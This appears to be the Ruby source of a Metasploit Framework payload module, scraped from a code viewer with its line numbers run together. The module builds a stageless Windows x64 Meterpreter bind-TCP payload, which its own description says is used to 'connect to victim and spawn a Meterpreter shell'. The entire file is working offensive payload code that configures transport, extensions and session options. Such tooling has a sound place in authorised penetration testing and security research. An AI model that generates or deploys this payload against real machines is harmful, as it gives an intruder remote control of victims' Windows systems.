Path: blob/master/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 20384678include Msf::Payload::TransportConfig9include Msf::Payload::Windows10include Msf::Payload::Single11include Msf::Payload::Windows::MeterpreterLoader_x6412include Msf::Sessions::MeterpreterOptions1314def initialize(info = {})15super(16merge_info(17info,18'Name' => 'Windows Meterpreter Shell, Bind TCP Inline (x64)',19'Description' => 'Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',20'Author' => [ 'OJ Reeves' ],21'License' => MSF_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X64,24'Handler' => Msf::Handler::BindTcp,25'Session' => Msf::Sessions::Meterpreter_x64_Win26)27)2829register_options([30OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),31OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])32])33end3435def generate(opts = {})36opts[:stageless] = true37stage_meterpreter(opts) + generate_config(opts)38end3940def generate_config(opts = {})41opts[:uuid] ||= generate_payload_uuid4243# create the configuration block, which for staged connections is really simple.44config_opts = {45arch: opts[:uuid].arch,46exitfunk: datastore['EXITFUNC'],47expiration: datastore['SessionExpirationTimeout'].to_i,48uuid: opts[:uuid],49transports: [transport_config_bind_tcp(opts)],50extensions: (datastore['EXTENSIONS'] || '').split(','),51ext_init: datastore['EXTINIT'] || '',52stageless: true53}.merge(meterpreter_logging_config(opts))5455# create the configuration instance based off the parameters56config = Rex::Payloads::Meterpreter::Config.new(config_opts)5758# return the binary version of it59config.to_b60end61end626364